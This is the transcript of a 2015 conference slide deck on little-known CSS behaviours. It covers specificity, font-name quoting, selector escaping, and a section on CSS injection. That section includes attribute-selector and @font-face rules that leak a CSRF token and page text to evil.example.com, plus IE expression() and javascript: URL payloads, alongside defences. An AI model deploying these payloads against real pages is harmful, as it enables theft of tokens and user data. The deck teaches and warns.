3.14 things I didn’t know about CSS @ CSSConf.asia 2015

@mathias · #devfestasia 3.14 things I didn’t know about CSS

@mathias

!important

!important .foo .bar { color: red; } .bar { color:
green; }

mths.be/bsh

.foo .bar { color: red; } .bar { color: green
!important; } !important

mths.be/bsh

!important; } !important

!important; } !important ✘

.foo .bar { color: red; } .bar.bar.bar.bar.bar.bar.bar.bar { color: green;
} New !important best practice ✔ * not really *

mths.be/bsh

Font family names

Font family names in CSS html {  font-family: 'Comic Sans
MS';  } “If there’s whitespace in the font family name, it must be quoted.”

Font family names in CSS html {  font-family: Comic Sans
MS;  } “If there’s whitespace in the font family name, it must be quoted.” mths.be/bft

Font family names in CSS html {  font-family: 456bereastreet;  }

Font family names in CSS html {  font-family: \34 56bereastreet; 
}

Font family names in CSS html {  font-family: '456bereastreet';  }

mths.be/bjm

Attribute values

Attribute values <a href="foo">…</a> <style> a[href="foo"] { background: hotpink; }
</style>

Unquoted attribute values <a href=foo>…</a> <style> a[href=foo] { background: hotpink;
} </style>

Unquoted attribute values <a href=foo|bar>…</a> <style> a[href=foo|bar] { background: hotpink;
} </style>

Unquoted attribute values <a href=foo|bar>…</a> <style> a[href="foo|bar"] { background: hotpink;
} </style>

Unquoted attribute values mths.be/bjn

CSS comments

CSS comments .some-selector { background: hotpink; /*color: red;*/ text-align: center;
}

CSS comments .some-selector { background: hotpink; /*color: red;*/ text-align: center;
} ✔

CSS comments .some-selector { background: hotpink; //color: red; text-align: center;
}

} ✘

} ✔ mths.be/brz

.some-selector { background: hotpink; colour: red; text-align: center; } CSS
comments mths.be/brz

.some-selector { background: hotpink; colour: red; text-align: center; } ✔
CSS comments mths.be/brz

mths.be/brz

HTML tags

Valid HTML <!DOCTYPE html>  <html>  <head>  <title>Foo</title>  </head>  <body>  … 
</body>  </html>

Valid HTML <!DOCTYPE html>  <html>  <head>  <title>Huh?</title>  <body>  … 

Valid HTML <!DOCTYPE html>  <title>lolwut</title>  … 

Using CSS without HTML

“No JS” <link href="nojs.css" rel="stylesheet"> mths.be/bsf

mths.be/bsf

$ curl -i https://mathiasbynens.be/demo/css-without-html HTTP/1.1 200 OK Date: Fri, 06
Nov 2015 13:33:37 GMT Link: <css-without-html.css>;rel=stylesheet Content-Length: 0 Content-Type: text/html; charset=UTF-8 CSS without HTML mths.be/bpe

mths.be/bsb

U̶̓̄̈̄̉ ̦ ̖̫̖̻ nẛ̥ḯ ͎͈̪ ̇͋cͯ̃̂̀̉ ̲̰̝ oͥ͢ ̮̠͈͍̱ d̃ͨͫ
̤̻͉̞ ȩ̭̟̳̳̪͈ ̔͑̃ ̐ͣ̓͊ ͈̬̘̹͙̙ i ͥ̈́ͮ͛͒ ̨ ̻nͩ̉̅̈́̇̒͑ ̼̥̦̣ ̭̙̹ ̇ͮͥͭ̇͌ ̠Cͤ̋ͯ̑̏̈́ͥ ͍̦ ̯̠̘͎ Sͥ͊̔̋ ̞̣ ̜̪̲̗ Sͧ̊ ͛ ̮̞

Classes and IDs in HTML <p class="404-error">…</p> <small class="©">legalese</small> <p
id="♥">HTML 4 lyfe, homes!</p> <blockquote class="“”">LOL</blockquote> <p id=" ⌘⌥ ">…</p> <p class="⚠">Warning: …</p> <p id=""">Outdated browser detected.</p> mths.be/afd

Classes and IDs in HTML <p id="#id">Good luck styling me!</p>
<p class=".class">heh</p> <p id="#id.class:hover{}">huh</p> <p id="[attr='value']">wat</p> mths.be/afd

mths.be/bsc

Escaping CSS selectors <p id="#id"> #\#id { } <p class=".class">
.\.class { } <p id="#id.class:hover{}"> #\#id\.class\:hover\{\} { } #\#id\.class\3A hover\{\} { } <p class="[attr='value']"> .\[attr\=\'value\'\] { } <p id="404-error"> #\34 04-error { }

Escaping CSS selectors <p id="#©"> #© { } #\A9 {
} <p class="♥"> .♥ { } .\2665 { } <p id="“”"> #“” { } #\201C \201D { } <p class="""> ." { } .\1F4A9 { }

Escaping CSS selectors mths.be/bsd

mths.be/bpo

mths.be/cssescape

Escaping CSS selectors var id = location.hash.slice(1); var $el =
$('#' + id); // … mths.be/cssescape

$('#' + id); // … var $a = $('a[href="' + someValue + '"]'); // … mths.be/cssescape

$('#' + id); // … var $a = $('a[href="' + someValue + '"]'); // … mths.be/cssescape ✘

$('#' + CSS.escape(id)); // … var $a = $('a[href="' + CSS.escape(someValue) + '"]'); // … mths.be/cssescape ✔

Using CSS for #evil$

mths.be/bry

Injection contexts <style> p { color: <%= USER_COLOR %>; }
</style> <p> Hello <%= USER_NAME %>! <a href="<%= USER_URL %>">View your account</a>. </p> <script> window.userID = <%= USER_ID %>; </script>

What’s the worst you can do if you have control
over a page’s CSS?

<input type="hidden" name="csrf-token" id="csrf" value="abcdef…"> Stealing data from the DOM
mths.be/bsj

#csrf[value^="a"] { background: url(//evil.example.com/?v=a); } #csrf[value^="b"] { background: url(//evil.example.com/?v=b); }
#csrf[value^="c"] { background: url(//evil.example.com/?v=c); } /* … */ Leaking an attribute value mths.be/bsj

mths.be/bsj

<div id="sensitive- information">abcdefg</div> Stealing data from the DOM mths.be/bsj

@font-face { font-family: h4x0r; src: url(//evil.example.com/?v=A); unicode-range: U+0041; } #sensitive-information
{ font-family: h4x0r; } Leaking unique symbols from a text node mths.be/bup

mths.be/buo

* { width: expression( alert('XSS through CSS') ); } CSS
Expressions in IE ≤ 7 mths.be/brw

* { width: expression( window.open('//evil.example.com/') ); } CSS Expressions in
IE ≤ 7 mths.be/brw

1. sanitize user input before injecting it in a CSS
context  2. disallow framing using the HTTP header  X-Frame-Options: DENY  3. use <!DOCTYPE html> How to avoid CSS expression vulnerabilities? mths.be/bpu

* { background: url('javascript:while(true){}'); } Freezing Firefox mths.be/bsa

mths.be/brs

One More Thing™ #cssbandnames

kbd { color: black; } What band is this? #cssbandnames

kbd { color: black; } What band is this? The
Black Keys #cssbandnames

The Black Keys

:root { background: #f00; } What band is this? #cssbandnames

:root { background: #f00; } What band is this? Simply
Red #cssbandnames

Simply Red

head { display: block; content: '\1F4FB '; } What band
is this? #cssbandnames

head { display: block; content: '\1F4FB '; } What band
is this? %head #cssbandnames

Radiohead

hr { height: 1px; border: 0; background: hsl(0, 0%, 100%);
} What band is this? #cssbandnames

hr { height: 1px; border: 0; background: hsl(0, 0%, 100%);
} What band is this? The White Stripes #cssbandnames

The White Stripes

.red-door { background-image: url(red-door.jpg); background-blend-mode: multiply; background-color: #000; } What
song is this?

.red-door { background-image: url(red-door.jpg); background-blend-mode: multiply; background-color: #000; } What
song is this? Paint It Black by The Rolling Stones

The Rolling Stones

input[type="date"] { color: rgb(0, 255, 0); } What band is
this? #cssbandnames

input[type="date"] { color: rgb(0, 255, 0); } What band is
this? Green Day #cssbandnames

Green Day

ed, emacs, nano, vi { font-family: monospace; } What band
is this? #cssbandnames

ed, emacs, nano, vi { font-family: monospace; } What band
is this? Editors #cssbandnames

Editors

p i { color: black; } What band is this?
#cssbandnames

p i { color: black; } What band is this?
The Black <i>’d <p>s #cssbandnames

The Black <i>’d <p>s

Thanks to: Simon Pieters Tab Atkins Martin Kool Mario Heiderich
Frederik Braun Mike West Divya Manian Masato Kinugawa

Thanks! @mathias

3.14 things I didn’t know about CSS @ CSSConf.a...

3.14 things I didn’t know about CSS @ CSSConf.asia 2015

More Decks by Mathias Bynens

Other Decks in Technology

Featured

Transcript